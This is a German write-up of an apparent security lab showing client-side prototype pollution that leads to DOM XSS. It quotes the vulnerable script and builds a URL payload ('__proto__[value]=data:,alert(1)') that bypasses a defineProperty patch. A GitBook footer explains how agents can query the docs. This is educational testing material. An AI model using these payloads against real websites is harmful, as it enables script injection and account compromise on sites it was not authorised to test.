> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# Clientseitige Prototype Pollution via Browser-APIs

### Client-seitige Prototype-Pollution mithilfe von Browser-APIs

#### Laborkontext

Dieses Lab ist anfällig für eine **DOM-XSS** ausgelöst über ein **client-seitige Prototype-Pollution**. / Die Entwickler haben ein potenzielles Gadget identifiziert und versucht, es zu beheben, aber es ist möglich, **den Patch zu umgehen**.

Ziel:

* Finde einen **Quelle** um beliebige Eigenschaften zu `Object.prototype`
* Identifiziere eine **Gadget-Eigenschaft** was zur Ausführung von JavaScript führt
* Kombiniere beides, um `alert()`

### 1) Quelle: `Object.prototype` Pollution über die URL

#### Injection aus dem Query-String

Die Pollution wird über die URL getestet:

```javascript
/?__proto__[foo]=bar
```

#### Kontrolle in der Konsole

In der Browserkonsole:

```javascript
console.log({}.foo)
```

Ergebnis: `bar`/ Dies bestätigt, dass es gelingt, eine Eigenschaft in den globalen Prototyp zu injizieren.

<figure><img src="/files/58b75387c72af2835dc598680e1d2d0a39ccacc2" alt=""><figcaption></figcaption></figure>

### 2) Auswirkung verstehen: Das Verhalten von Objekten ändern

Beispiel für eine Prototyp-Änderung über ein Objekt:

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="/files/8f7f982cc7c004f3601d3fc80d957a1dc07b3484" alt=""><figcaption></figcaption></figure>

Dann:

```bash
console.log({}.country)
```

Alle Objekte erben nun `country`, was die Gesamtauswirkung der Pollution zeigt.

<figure><img src="/files/3c8182072ab9f3bd3cae069184f7a2a07da49491" alt=""><figcaption></figcaption></figure>

### 3) Gadget: Dynamisches Laden eines Skripts über eine geerbte Eigenschaft

Die interessante Datei ist:

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### Wichtiges Skriptverhalten (Zusammenfassung)

* Es erstellt ein Objekt `config` mit:
* `params` (aus der URL)
* `transport_url` initialisiert auf `false`
* Es sperrt `config.transport_url` durch `Object.defineProperty(... configurable:false, writable:false)`
* Dann:
* wenn `config.transport_url` ist wahrheitswertig → es erstellt ein `<script>` und macht `script.src = config.transport_url`

#### Warum funktioniert es trotz des Patches?

Wie `transport_url` \*\* ist nicht wirklich mit einem nutzbaren Wert definiert\*\*, kann der Code **einen vom Prototyp geerbten Wert finden** (verunreinigt).

Wenn wir also die richtige Eigenschaft in `Object.prototype`, wird sie als Quelle des Skripts verwendet.

### 4) Ausnutzung: Erzwinge `script.src` über den Prototyp

#### Schritt 1: Das Gadget nachweisen

Durch das Injizieren von:

```bash
/?__proto__[value]=bar
```

Der Browser erstellt:

```javascript
<script src="bar"></script>
```

<figure><img src="/files/e6ef77bdd86843e3e7561f0ab6ae830b74b792f1" alt=""><figcaption></figcaption></figure>

`src` ist kontrollierbar.

#### Schritt 2: JS ausführen über ein `data:` URL

Endgültige Nutzlast :

```javascript
/?__proto__[value]=data:,alert(1)
```

Beobachtetes Ergebnis:

```javascript
<script src="data:,alert(1)"><div></div></script>
```

Der Browser interpretiert `data:,alert(1)` und führt aus `alert(1)`: **DOM-XSS erfolgreich**.

<figure><img src="/files/b80e39c33da0f88bf7f22e7fb412859ba3ce0054" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
